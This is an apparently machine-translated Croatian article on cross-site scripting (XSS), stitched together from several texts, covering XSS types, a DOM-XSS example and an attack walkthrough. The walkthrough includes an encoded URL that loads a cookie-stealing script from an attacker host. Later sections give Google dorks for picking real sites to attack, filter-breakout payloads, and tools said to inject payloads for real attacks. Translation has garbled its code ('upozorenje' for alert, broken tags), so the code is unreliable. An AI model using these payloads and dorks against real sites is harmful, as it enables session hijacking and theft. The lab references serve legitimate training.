Maksimalno iskorištavanje XSS ranjivosti. Easy Hack: Kako izvući podatke putem Cross Site Scripting Inclusion Što je xss ranjivost

04.11.2020 Vijesti

Cross-site skriptiranje korištenjem java skripte najpopularnija je vrsta napada. U ovom materijalu ćemo vam reći o problemima koji mogu nastati korištenjem java skripte i kako se zaštititi od XSS napada.

Što je XSS napad?

XSS je vrsta napada na korisnike internetskih resursa, čija je svrha krađa autentifikacijskih podataka administratora stranice kako bi se dobio pristup administrativnom dijelu i drugim korisnicima koji imaju mogućnost osobnog pristupa zatvorenim dijelovima resursa. .

Ovi se napadi mogu izvesti ne samo za hakiranje web mjesta, već i za krađu:

  • Vjerodajnice za pristup resursima trećih strana;
  • Brojevi bankovnih kartica;
  • Podaci za pristup elektroničkim novčanicima;
  • Kontakt podaci;
  • Ostali povjerljivi podaci korisnika.
XSS vektori napada

Ova vrsta napada ima dva pravca:

Aktivno – vrsta napada kada napadač pokušava pronaći ranjivosti u filtru internetskih izvora. Koristeći određenu kombinaciju znakova i oznaka, haker kreira zahtjev koji resurs razumije i izvršava naredbu. Nakon pronalaženja ranjivosti u sigurnosnom sustavu, zahtjev uključuje zlonamjerni kod, koji će, primjerice, poslati sve kolačiće na mjesto pogodno za hakera.

Pasivno – podrazumijeva intervenciju subjekta napada. Ideja je natjerati korisnika da slijedi zlonamjernu vezu kako bi implementirao zlonamjerni kod. Ove napade je teško izvesti jer od napadača zahtijevaju izvrsno tehničko znanje i dobro poznavanje psihologije.

Sigurnosne mjere

Kako biste izbjegli da postanete žrtva XSS napada, trebali biste se pridržavati sljedećih sigurnosnih pravila:

  • Glavno pravilo za programere je korištenje bilo kojeg filtra.
  • Filtrirajte sve ugniježđene strukture.
  • Šifriranje. Prilikom izrade filtra svakako uzmite u obzir rizik od napada kodiranjem. Postoji mnogo programa za kodiranje s kojima možete šifrirati bilo koji napad tako da ga niti jedan filter ne “vidi”. Stoga primijenite dešifriranje u filtru prije izvršenja koda zahtjeva.
  • Primjena oznaka. Postoji jedna ranjivost povezana s oznakama url, bb, img, koje imaju mnogo parametara, uključujući lowsrc i dynsrc, koji sadrže javacsript. Ove oznake treba filtrirati. Ako ne koristite slike na svom resursu, potpuno ih onemogućite.
  • Filtar koji se koristi mora uzeti u obzir različite moguće kombinacije znakova. Što ih je više, to bolje.
  • Zaključak

    Prema statistikama, 84% internetskih izvora dobro je zaštićeno od XSS napada. Ostalih 16% ne može im se učinkovito oduprijeti. Uklanjanje ove velike mane zahtijeva od vlasnika stranica dodatna ulaganja u sigurnost, na što većina njih nije spremna. Međutim, pooštravanje zakonodavstva u vezi s oštećenjem, curenjem i otkrivanjem osobnih podataka sve više tjera beskrupulozne vlasnike da poboljšaju sigurnost svojih stranica.

    Što je XSS ranjivost? Trebamo li je se bojati?

    Cross-site scripting (skraćeno XSS) raširena je ranjivost koja utječe na mnoge web aplikacije. Omogućuje napadaču ubacivanje zlonamjernog koda na web mjesto na takav način da će preglednik korisnika koji posjećuje web mjesto izvršiti kod.

    Tipično, iskorištavanje takve ranjivosti zahtijeva određenu interakciju s korisnikom: ili se namami na zaraženo mjesto pomoću društvenog inženjeringa ili jednostavno čeka da korisnik posjeti to mjesto. Stoga programeri često ne shvaćaju ozbiljno XSS ranjivosti. Ali ako se ne riješe, mogu predstavljati ozbiljan sigurnosni rizik.

    Zamislimo da smo u WordPress administratorskoj ploči, dodajte novi sadržaj. Ako za to koristimo dodatak koji je ranjiv na XSS, on može natjerati preglednik da stvori novog administratora, izmijeni sadržaj i izvede druge zlonamjerne radnje.

    Cross-site skriptiranje daje napadaču gotovo potpunu kontrolu nad najvažnijim softver ovih dana - preglednik.

    XSS: Ranjivost ubrizgavanja

    Svaka web stranica ili aplikacija ima nekoliko mjesta za unos podataka - polja obrasca do samog URL-a. Najjednostavniji primjer unosa podataka je kada u formu unesemo korisničko ime i lozinku:

    Slika 1. Obrazac za unos podataka

    Naše će ime biti pohranjeno u bazi podataka stranice za naknadne interakcije s nama. Sigurno ste, kada ste se prijavili na bilo koju web stranicu, vidjeli osobni pozdrav u stilu "Dobro došao, Ilya." U tu se svrhu korisnička imena pohranjuju u bazu podataka.

    Injekcija je postupak kada se umjesto imena ili lozinke unosi poseban niz znakova, koji tjera poslužitelj ili preglednik da odgovori na određeni način koji napadač želi.

    Cross-site scripting je injekcija koja ubacuje kod koji će izvršiti radnje u pregledniku u ime web stranice. To se može dogoditi bilo s obavijesti korisnika ili pozadina, bez njegovog znanja.

    Slika 2. Vizualni dijagram skriptiranja između stranica

    Najjednostavniji primjer je jednostavna skripta koja prikazuje prozor obavijesti. Izgleda otprilike ovako:

    Tablica 1. Skripta koja uzrokuje skočni prozor

    upozorenje("OVO JE XSS RANJIVOST!!!")

    Ova skripta otvara prozor s porukom "OVO JE XSS RANJIVOST!!!" Korisnikov preglednik percipira i izvršava ovu skriptu kao dio legitimnog koda stranice.

    Vrste XSS ranjivosti

    Nisu sve XSS ranjivosti jednake; postoji mnogo vrsta. Ovo su vrste i njihova interakcija:

    Slika 3. Vrste XSS ranjivosti


    Ranjivosti uzrokovane kodom na strani poslužitelja (Java, PHP, .NET, itd.):

    Tradicionalni XSS napadi:

  • Reflektirano (netrajno). Odraženi XSS napad pokreće se kada korisnik klikne na posebno izrađenu poveznicu. Ove se ranjivosti javljaju kada podaci koje pruža web klijent, najčešće u parametrima HTTP zahtjeva ili HTML obrazac, izvršavaju izravno skripte na strani poslužitelja za analizu i prikaz stranice s rezultatima za tog klijenta, bez odgovarajuće obrade.
  • Pohranjeno (postojano). Pohranjeni XSS moguć je kada napadač uspije ubaciti zlonamjerni kod u poslužitelj koji se izvršava u pregledniku svaki put kada se pristupi izvornoj stranici. Klasičan primjer ove ranjivosti su forumi koji dopuštaju HTML komentare.
  • Ranjivosti uzrokovane kodom na strani klijenta (JavaScript, Visual Basic, Flash, itd.):

    Također poznati kao DOM modeli:

  • Reflektirano (netrajno). Isto kao iu slučaju poslužiteljske strane, samo je u ovom slučaju napad moguć zbog činjenice da kod obrađuje preglednik.
  • Pohranjeno (postojano). Slično pohranjenom XSS-u na strani poslužitelja, samo što je u ovom slučaju zlonamjerna komponenta pohranjena strana klijenta koristeći pohranu preglednika.
  • Ranjivosti uzrokovane infrastrukturom (preglednik, dodaci, poslužitelji itd.):

    Vrlo su rijetke, ali su opasnije:

  • Infrastruktura na strani klijenta. Javlja se kada zlonamjerna komponenta izvodi bilo kakve manipulacije s funkcionalnošću preglednika, na primjer s njegovim XSS filtrom itd.
  • Infrastruktura na strani poslužitelja. Javlja se kada web poslužitelj ne obrađuje ispravno zahtjeve, dopuštajući njihovu izmjenu.
  • Neto. Javlja se kada je moguće narušiti komunikaciju između klijenta i poslužitelja.
  • Ranjivosti koje uzrokuje korisnik:

  • Self-XSS. Često se javlja kao rezultat društvenog inženjeringa kada korisnik slučajno pokrene zlonamjerni kod u svom pregledniku.
  • Koje su opasnosti XSS-a?

    Kako možete zaštititi svoju stranicu od XSS-a? Kako provjeriti ima li u kodu ranjivosti? Postoje tehnologije poput Sucuri Firewall koje su posebno dizajnirane za izbjegavanje takvih napada. Ali ako ste programer, svakako ćete htjeti naučiti više o tome kako identificirati i ublažiti XSS ranjivosti. O tome ćemo govoriti u sljedećem dijelu članka o XSS-u.

    • 1.Što je XSS
    • 2. Vrste XSS-a
    • 3. Značajke XSS-a temeljenog na DOM-u
    • 4.XSS revizor
    • 5.Primjeri iskorištavanja XSS-a
    • 6. Potražite stranice ranjive na XSS
    • 7.Programi za pretraživanje i XSS skeniranje ranjivosti
    Što je XSS

    Cross-site scripting (XSS) je ranjivost koja uključuje ubacivanje koda na strani klijenta (JavaScript) u web stranicu koju drugi korisnici gledaju.

    Ranjivost je posljedica nedovoljnog filtriranja podataka koje korisnik šalje za umetanje na web stranicu. Mnogo lakše razumjeti konkretan primjer. Zapamtite bilo koju knjigu gostiju - to su programi koji su dizajnirani za prihvaćanje podataka od korisnika i zatim ih prikazuju. Zamislimo da knjiga gostiju ni na koji način ne provjerava niti filtrira unesene podatke, već ih jednostavno prikazuje.

    Možete skicirati svoju jednostavna skripta(nema ništa lakše nego pisati loše skripte u PHP-u - mnogi ljudi to rade). Ali već postoji mnogo gotovih opcija. Na primjer, predlažem da počnete s Dojom i OWASP Mutillidae II. Tamo postoji sličan primjer. U samostalnom Dojo okruženju idite na ovu vezu u svom pregledniku: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

    Ako je jedan od korisnika unio:

    Zdravo! Kako si.

    Web stranica će tada prikazati:

    Zdravo! Kako si.

    A ako korisnik unese ovo:

    Zdravo! Kako si. upozorenje ("Pwned")

    Tada će se prikazati ovako:

    Preglednici pohranjuju višestruke kolačiće za veliki broj stranica. Svaka stranica može primati samo kolačiće koje je sama spremila. Na primjer, example.com je spremio neke kolačiće u vaš preglednik. Ako posjetite another.com, ova stranica (skripte klijenta i poslužitelja) ne može pristupiti kolačićima koje je example.com pohranio.

    Ako je example.com ranjiv na XSS, to znači da možemo nekako ubaciti JavaScript kod u njega, a taj će se kôd izvršiti u ime example.com! Oni. Ovaj kod će, na primjer, pristupiti kolačićima example.com.

    Mislim da se svi sjećaju da se JavaScript izvršava u korisničkim preglednicima, tj. u prisutnosti XSS-a, ugrađeni zlonamjerni kod dobiva pristup podacima korisnika koji je otvorio web stranicu.

    Ugrađeni kod može učiniti sve što može i JavaScript, naime:

    • dobiva pristup kolačićima web stranice koju gledate
    • može unijeti bilo kakve promjene u izgled stranice
    • pristupa međuspremniku
    • može implementirati JavaScript programe, na primjer, keyloggere (presretače tipki)
    • pokupiti na BeEF-u

    Najjednostavniji primjer s kolačićima:

    upozorenje(dokument.kolačić)

    Zapravo, upozorenje se koristi samo za otkrivanje XSS-a. Pravi zlonamjerni teret izvodi skrivene radnje. Tajno kontaktira udaljeni poslužitelj napadača i prenosi mu ukradene podatke.

    Vrste XSS-a

    Najvažnija stvar koju treba razumjeti o vrstama XSS-a je da su:

    • Pohranjeno (Trajno)
    • Odraženo (nestalno)

    Primjer konstanti:

    • Posebno kreirana poruka koju napadač upisuje u knjigu gostiju (komentar, poruka na forumu, profil), a koja je spremljena na poslužitelju, preuzima se s poslužitelja svaki put kada korisnik zatraži prikaz ove stranice.
    • Napadač je dobio pristup podacima poslužitelja, na primjer, putem SQL injekcija, i uveo zlonamjerni JavaScript kod (s keyloggerima ili BeEF-om) u podatke koji se daju korisniku.

    Primjer nestalnih:

    • Postoji pretraga na stranici koja, uz rezultate pretrage, prikazuje nešto poput "Tražili ste: [niz za pretraživanje]", a podaci nisu ispravno filtrirani. Budući da se takva stranica prikazuje samo osobi koja ima poveznicu na nju, napad neće funkcionirati sve dok napadač ne pošalje poveznicu drugim korisnicima stranice. Umjesto slanja poveznice žrtvi, možete upotrijebiti postavljanje zlonamjerne skripte na neutralnu stranicu koju žrtva posjećuje.

    Oni također razlikuju (neki kao vrstu nepostojanih XSS ranjivosti, neki kažu da ova vrsta također može biti vrsta postojanih XSS):

    • DOM modeli
    Značajke XSS-a temeljenog na DOM-u

    Vrlo jednostavno rečeno, možemo vidjeti zlonamjerni kod “običnog” nepostojanog XSS-a ako otvorimo HTML kod. Na primjer, veza je oblikovana ovako:

    Http://example.com/search.php?q="/>upozorenje(1)

    I pri otvaranju izvorni HTML U kodu vidimo nešto poput ovoga:

    < div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >upozorenje(1)" />< button type = "submit" class = "ui-button" >Pronaći

    A DOM XSS mijenja DOM strukturu, koja se formira u pregledniku u hodu, a maliciozni kod možemo vidjeti samo kada gledamo generiranu DOM strukturu. HTML se ne mijenja. Uzmimo ovaj kod kao primjer:

    < html > < head > < title >web stranica:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >Dogodila se pogreška...< script >funkcija OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) funkcija get_fragment() ( var r4c = "(.*?)"; var rezultati = location.hash.match(".*input=token(" + r4c + ");") if (rezultati) (document.getElementById("default").innerHTML = ""; return (unescape(rezultati)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Vaš ID sesije bio je: " + display_session + "< br >< br >")

    Tada ćemo u pregledniku vidjeti:

    Izvorni kod stranice:

    Formirajmo adresu ovako:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

    Sada stranica izgleda ovako:

    Ali pogledajmo izvor HTML:

    Tu se baš ništa nije promijenilo. Ovo je ono o čemu sam govorio, moramo pogledati DOM strukturu dokumenta kako bismo identificirali zlonamjerni kod:

    Ovdje je radni XSS prototip, za pravi napad potreban nam je složeniji korisni teret, što nije moguće zbog činjenice da aplikacija prestaje čitati odmah nakon točke sa zarezom, a nešto poput alert(1);alert(2) nije duže moguće. Međutim, zahvaljujući unescape() možemo koristiti sadržaj poput ovog u povratnim podacima:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

    Gdje smo zamijenili simbol ; URI-kodiranom ekvivalentu!

    Sada možemo napisati zlonamjerni JavaScript korisni teret i sastaviti vezu za slanje žrtvi, kao što je učinjeno za standardno nepostojano skriptiranje na više stranica.

    XSS revizor

    U Google Chrome(i također u Operi, koja sada koristi Google Chrome engine), čekalo me ovo iznenađenje:

    dom_xss.html:30 XSS Auditor odbio je izvršiti skriptu u 'http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);' jer je njen izvorni kod pronađen unutar zahtjeva . Revizor je bio omogućen jer poslužitelj nije poslao ni zaglavlje "X-XSS-Protection" ni "Content-Security-Policy".

    Oni. preglednik sada ima XSS revizora koji će pokušati spriječiti XSS. Firefox još nema ovu funkciju, ali mislim da je to pitanje vremena. Ako je implementacija u preglednike uspješna, onda možemo govoriti o značajnim poteškoćama u korištenju XSS-a.

    Dobro je zapamtiti to moderni preglednici poduzimaju korake za ograničavanje razine iskorištavanja problema kao što su nepostojani XSS i XSS temeljen na DOM-u. Ovo je također nešto što treba zapamtiti kada testirate web stranice pomoću preglednika - može se ispostaviti da je web aplikacija ranjiva, ali ne vidite skočnu potvrdu samo zato što je preglednik blokira.

    Primjeri korištenja XSS-a

    Napadači koji namjeravaju iskoristiti ranjivosti skriptiranja na različitim mjestima moraju svakoj klasi ranjivosti pristupiti drugačije. Ovdje su opisani vektori napada za svaku klasu.

    Za XSS ranjivosti, napadi mogu koristiti BeEF, koji proširuje napad s web stranice na lokalno okruženje korisnika.

    Primjer nepostojanog XSS napada

    1. Alice često posjećuje određenu web stranicu koju hostira Bob. Bobova web stranica omogućuje Alice da se prijavi s korisničkim imenom/lozinkom i pohrani osjetljive podatke kao što su podaci o plaćanju. Kada se korisnik prijavi, preglednik pohranjuje autorizacijske kolačiće, koji izgledaju kao besmisleni znakovi, tj. oba računala (klijent i poslužitelj) pamte da je ušla.

    2. Mallory primjećuje da Bobova web stranica sadrži nepostojanu XSS ranjivost:

    2.1 Kada posjetite stranicu za pretraživanje, unesite niz za pretraživanje i kliknite na gumb za slanje, ako nema rezultata, stranica prikazuje uneseni niz za pretraživanje iza kojeg slijede riječi "nije pronađeno", a url izgleda kao http://bobssite .org?q= ona upit za pretraživanje

    2.2 S uobičajenim upitom za pretraživanje kao što je riječ "psi", stranica jednostavno prikazuje "nisu pronađeni psi" i url http://bobssite.org?q=psi, što je sasvim normalno ponašanje.

    2.3 Međutim, kada se pojavi nepravilan upit za pretraživanje kao što je alert(‘xss’); :

    2.3.1 Pojavljuje se poruka upozorenja (koja kaže "xss").

    2.3.2 Stranica prikazuje upozorenje (‘xss’); nije pronađeno zajedno s porukom o pogrešci s tekstom 'xss'.

    2.3.3 url pogodan za iskorištavanje http://bobssite.org?q=alert('xss');

    3. Mallory konstruira URL za iskorištavanje ranjivosti:

    3.1 Ona pravi URL http://bobssite.org?q=puppies. Može odlučiti pretvoriti ASCII znakove u heksadecimalni format kao što je http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E redom kako biste spriječili ljude da odmah dešifriraju zlonamjerni URL.

    3.2 Šalje e-poruke nekim članovima Bobove stranice koji ništa ne sumnjaju govoreći: "Pogledajte cool pse."

    4. Alisa prima pismo. Ona voli pse i klikne na link. Ode na Bobovu stranicu u pretrazi, ne nađe ništa, tamo se prikaže “no dog found” i u samoj sredini se pokrene oznaka sa skriptom (nevidljiva je na ekranu), preuzima i izvršava Maloryjevu authstealer.js program (pokreće XSS napad). Alice zaboravi na to.

    5. Authstealer.js program radi u Aliceinom pregledniku kao da potječe s Bobove web stranice. Ona zgrabi kopiju Aliceinih autorizacijskih kolačića i pošalje ih Malorynom poslužitelju, gdje ih Malory dohvaća.

    7. Sada kada je Malorie unutra, odlazi na odjeljak za plaćanje na web stranici, gleda i krade kopiju Aliceina broja kreditne kartice. Onda ona ode i promijeni lozinku, tj. Sada Alice više ne može ni ući.

    8. Odlučuje se na sljedeći korak i šalje tako konstruiranu poveznicu samom Bobu i tako dobiva administrativne privilegije za Bobovu stranicu.

    Stalni XSS napad

  • Mallory ima račun na Bobovoj web stranici.
  • Mallory primjećuje da Bobova web stranica sadrži stalnu XSS ranjivost. Ako idete na novi odjeljak, objavite komentar, on prikazuje sve što je u njemu upisano. Ali ako tekst komentara sadrži HTML oznake, te će oznake biti prikazane kakve jesu, a sve oznake skripte bit će izvršene.
  • Mallory čita članak u odjeljku Vijesti i piše komentar u odjeljku Komentari. U komentar ubacuje tekst:
  • Jako su mi se svidjeli psi u ovoj priči. Baš su fini!
  • Kada Alice (ili bilo tko drugi) učita stranicu s ovim komentarom, Maloryna oznaka skripte se pokreće i krade Alicein autorizacijski kolačić, šaljući ga Malorynom tajnom poslužitelju na prikupljanje.
  • Mallory sada može oteti Aliceinu sesiju i glumiti Alice.
  • Pronalaženje stranica ranjivih na XSS

    Kreteni za XSS

    Prvi korak je odabir stranica na koje ćemo izvoditi XSS napade. Stranice se mogu pretraživati ​​pomoću Google dorksa. Evo nekoliko ovih kretena koje možete kopirati i zalijepiti u Google pretraživanje:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Pred nama će se otvoriti popis stranica. Morate otvoriti stranicu i na njoj pronaći polja za unos, poput obrasca Povratne informacije, obrazac za unos, pretraživanje web mjesta itd.

    Odmah ću napomenuti da je gotovo beskorisno tražiti ranjivosti u popularnim automatski ažuriranim web aplikacijama. Klasičan primjer takve aplikacije je WordPress. Zapravo, postoje ranjivosti u WordPressu, a posebno u njegovim dodacima. Štoviše, postoje mnoge web stranice koje ne ažuriraju niti WordPress mehanizam (zbog činjenice da je webmaster napravio neke promjene u izvornom kodu) niti svoje dodatke i teme (u pravilu su to piratski dodaci i teme). Ali ako čitate ovaj odjeljak i iz njega naučite nešto novo, onda WordPress još nije za vas... Sigurno ćemo mu se vratiti kasnije.

    Najbolji ciljevi su različiti motori i skripte koje sami pišete.

    Možete odabrati umetnuti korisni teret kao

    upozorenje (1)

    Obratite pozornost u koje oznake HTML koda spada vaš ugrađeni kod. Evo primjera tipičnog polja za unos

    < input type = "text" class = "ui-input query" name = "q" value = "jastučnica" />< script >upozorenje (1)< input value = "" />

    Naš će teret završiti tamo gdje je sada riječ "jastučnica". Oni. pretvoriti u vrijednost ulazne oznake. Možemo to izbjeći - zatvorit ćemo dvostruki navodnik, a zatim samu oznaku koristeći “/>

    "/>upozorenje(1)

    Programi za traženje i skeniranje XSS ranjivosti

    Vjerojatno svi skeneri web aplikacija imaju ugrađeni skener XSS ranjivosti. Ova tema nije sveobuhvatna, bolje je upoznati se sa svakim sličnim skenerom zasebno.

    Postoje i specijalizirani alati za skeniranje XSS ranjivosti. Među njima posebno možemo istaknuti:

    • XSSer nije samo moćan skener koji može koristiti različite metode implementirajući i zaobilazeći filtriranje, također je automatizirani alat za traženje stranica ranjivih na XSS (od strane kretena). Za stranice s pronađenim ranjivostima, može ubaciti korisni teret za pravi napad;
    • XssPy je također prilično neovisan alat koji može pronaći sve stranice stranice (uključujući one na poddomenama) i provjeriti sve elemente unosa na tim stranicama;
    • BruteXSS – pozitivna značajka ovog alata je potpuno isključivanje lažno pozitivnih rezultata.
    Ranjive web aplikacije za XSS testiranje

    Većina skupova ranjivih web aplikacija (osim nekih visoko specijaliziranih) sadrži web stranice koje su ranjive na XSS. Najbolja opcija je koristiti ih u offline okruženju za učenje Dojo, koje je prikupilo mnogo aplikacija za testiranje. Na primjer, možete trenirati svoje vještine u prepoznavanju i iskorištavanju XSS-a tako što ćete:

    Prokleto ranjiva web aplikacija (DVWA):

    • http://localhost/dvwa/vulnerabilities/xss_r/ (nepostojani XSS)
    • http://localhost/dvwa/vulnerabilities/xss_s/ (pohranjeni XSS)

    Mutillidae/NOWASP (puno različitih XSS varijacija)

    • http://localhost/mutillidae/